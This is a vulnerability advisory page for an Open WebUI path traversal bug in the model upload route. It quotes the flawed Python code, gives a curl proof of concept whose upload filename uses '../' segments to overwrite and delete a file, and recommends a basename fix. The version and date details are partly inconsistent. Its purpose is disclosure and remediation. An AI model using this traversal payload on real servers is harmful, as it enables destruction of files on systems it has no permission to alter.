CVE-2026-44565: Open WebUI: Open WebUI Arbitrary File Write, Delete via Path Traversal
CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation -----------------------------------------------
Vulnerability Details --------------------- 1. Discoverer: Taylor Pennington of KoreLogic, Inc. 2. Date Submitted: June 11, 2024 3. Title: Open WebUI Arbitrary File Write, Delete via Path Traversal 4. High-level Summary: Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. After the file is written, it is deleted. 5. Affected Vendor: Open WebUI 6. Affected Product(s): Open WebUI (Formerly Ollama WebUI) 7. Affected Version(s): 0.1.105 8. Platform/OS: Debian GNU/Linux 12 (bookworm) 9. Vector: HTTP web interface 10. CWE: 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') 11. Technical Analysis: When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. If the file is an audio file it will be sent to a second API that will attempt to transcribe it.
The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.
This can be visualized by examining the python code for the "/ollama/models/upload" API route (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1063-L1127):
def uploadmodel(file: UploadFile = File(...), urlidx: Optional[int] = None): if urlidx == None: urlidx = 0 ollamaurl = app.state.OLLAMABASEURLS[urlidx]
filepath = f"{UPLOADDIR}/{file.filename}"
# Save file in chunks with open(filepath, "wb+") as f: for chunk in file.file: f.write(chunk)
def fileprocessstream(): nonlocal ollamaurl totalsize = os.path.getsize(filepath) chunksize = 1024 1024 try: with open(filepath, "rb") as f: total = 0 done = False
while not done: chunk = f.read(chunksize) if not chunk: done = True continue
total += len(chunk) progress = round((total / totalsize) 100, 2)
res = { "progress": progress, "total": totalsize, "completed": total, } yield f"data: {json.dumps(res)}\n\n"
if done: f.seek(0) hashed = calculatesha256(f) f.seek(0)
url = f"{ollamaurl}/api/blobs/sha256:{hashed}" response = requests.post(url, data=f)
if response.ok: res = { "done": done, "blob": f"sha256:{hashed}", "name": file.filename, } os.remove(filepath) yield f"data: {json.dumps(res)}\n\n" else: raise Exception( "Ollama: Could not create blob, Please try again." )
except Exception as e: res = {"error": str(e)} yield f"data: {json.dumps(res)}\n\n"
return StreamingResponse(fileprocessstream(), mediatype="text/event-stream")
The model is temporarily written to disk in chunks and then the data is sent to another internal API. Once the file is successfully passed, the file is removed from the disk. Note line 1116, os.remove(filepath).
This has an affect of stomping on and ultimately deleting any file that the user of the open-webui service has permissions over.
It may be possible to continue sending chunks to the file slowly and create a race condition however, this was not validated.
12. Proof-of-Concept:
First, create a file under the /tmp directory named DELETEME while logged in as the user account of the web application or chown the file to be owned by the open-webui user.
# su ollama # touch /tmp/DELETEME Execute the following cURL command after replacing the exported JWT value for a valid user session:
export JWT="JWTHERE"; curl -s -X $'POST' \ -H $'Host: openwebui.example.com' -H $'Content-Length: 206' -H "Authorization: Bearer ${JWT}" -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW' \ --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"../../../../../../../tmp/DELETEME\"\x0d\x0aContent-Type: image/png\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundary7MA4YWxkTrZu0gW--' \ $'https://openwebui.example.com/ollama/models/upload'
Verify that /tmp/DELETEME has been deleted.
13. Mitigation Recommendation: Modify line 1070 (https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L1070) to:
filename = os.path.basename(file.filename) filepath = f"{UPLOADDIR}/{filename}"
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.10, when uploading an audio file, the name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This vulnerability is fixed in 0.6.10.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-44565?
CVE-2026-44565 has been classified with a high severity due to its potential for arbitrary file write and delete vulnerabilities.
How do I fix CVE-2026-44565?
To fix CVE-2026-44565, upgrade open-webui to version 0.6.10 or later to mitigate the risks.
What software is affected by CVE-2026-44565?
CVE-2026-44565 affects open-webui versions up to and including 0.6.9.
Who discovered CVE-2026-44565?
CVE-2026-44565 was discovered by Taylor Pennington of KoreLogic, Inc.
When was CVE-2026-44565 submitted?
CVE-2026-44565 was submitted on June 11, 2024.